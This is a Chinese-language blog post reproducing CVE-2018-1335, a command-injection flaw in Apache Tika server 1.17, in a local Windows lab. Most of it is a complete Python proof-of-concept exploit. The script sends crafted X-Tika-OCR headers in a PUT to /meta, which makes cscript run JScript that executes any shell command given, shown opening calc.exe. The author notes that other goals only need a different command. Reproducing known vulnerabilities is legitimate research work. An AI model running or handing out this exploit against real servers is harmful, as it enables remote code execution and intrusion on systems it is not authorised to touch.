CVE-2018-1335的重現(附POC)

這是一枚Apache Tika中的命令注入

我這裏靶機是win10,攻擊機是win10的linux子系統。關於這個環境,請看我的另一篇博文這裏。所以這裏我的IP都是localhost

在靶機上下載漏洞環境:

wget https://archive.apache.org/dist/tika/tika-server-1.17.jar

在靶機上運行漏洞環境:

java -jar tika-server-1.17.jar

 以下是payload,基於py3

還在用py2的同學只需要改print函數,去掉括號即可。

在攻擊機上保存爲CVE-2018-1335.py

import sys
import requests
 
if len(sys.argv) < 4:
        print("Usage: python CVE-2018-1335.py <host> <port> <command>")
        print("Example: python CVE-2018-1335.py localhost 9998 calc.exe")
else:
        host = sys.argv[1]
        port = sys.argv[2]
        cmd = sys.argv[3]
 
        url = host+":"+str(port)+"/meta"
 
        headers = {"X-Tika-OCRTesseractPath": "\"cscript\"", 
                "X-Tika-OCRLanguage": "//E:Jscript", 
                "Expect": "100-continue", 
                "Content-type": "image/jp2", 
                "Connection": "close"}
 
        jscript='''var oShell = WScript.CreateObject("WScript.Shell");
        var oExec = oShell.Exec('cmd /c {}');
        '''.format(cmd)
 
        try:
                requests.put("https://"+url, headers=headers, data=jscript, verify=False)
         
        except:
                try:
                        requests.put("http://"+url, headers=headers, data=jscript)
                except:
                        print("Something went wrong.\nUsage: python CVE-2018-1335.py <host> <port> <command>")

攻擊機運行python3 CVE-2018-1335.py localhost 9998 calc.exe成功彈出計算器。

需要達成其他目的,只需要修改command部分。複雜的操作還是要修改payload。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章